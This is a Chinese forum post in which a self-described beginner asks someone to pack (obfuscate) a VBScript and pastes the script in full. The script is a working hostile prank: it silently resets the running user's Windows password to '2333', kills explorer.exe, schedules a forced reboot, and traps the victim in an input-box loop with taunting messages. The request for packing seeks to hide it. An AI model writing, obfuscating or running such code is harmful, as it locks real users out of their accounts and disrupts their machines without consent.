求大神给脚本加壳。

样品如下。本人是小白。
Const strPassword = "2333"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "taskkill /im explorer.exe /f"
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""此问题是由于你本人手贱而引起的系统崩溃，建议去医院复查人品"
dim a
do while(a <> "http://www.baidu.com")
a = inputbox ("什么，你说你自动关机了?","系统崩溃!","我什么都不知道")
msgbox chr(13 + 1 - 1) + chr(13 + 1 - 1) + chr(13 + 1 - 1) + a,0,"你猜出来了？开什么玩笑。"
loop
msgbox chr(13 + 1 - 1) + chr(13 + 1 - 1) + chr(13 + 1 - 1) +"猜出来了又怎样，你还是不知道密码"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run"cmd.exe /c shutdown -a",0,true
msgbox chr(13) + chr(13) + chr(13) +"此软件仅供测试，请勿用于任何商业用途"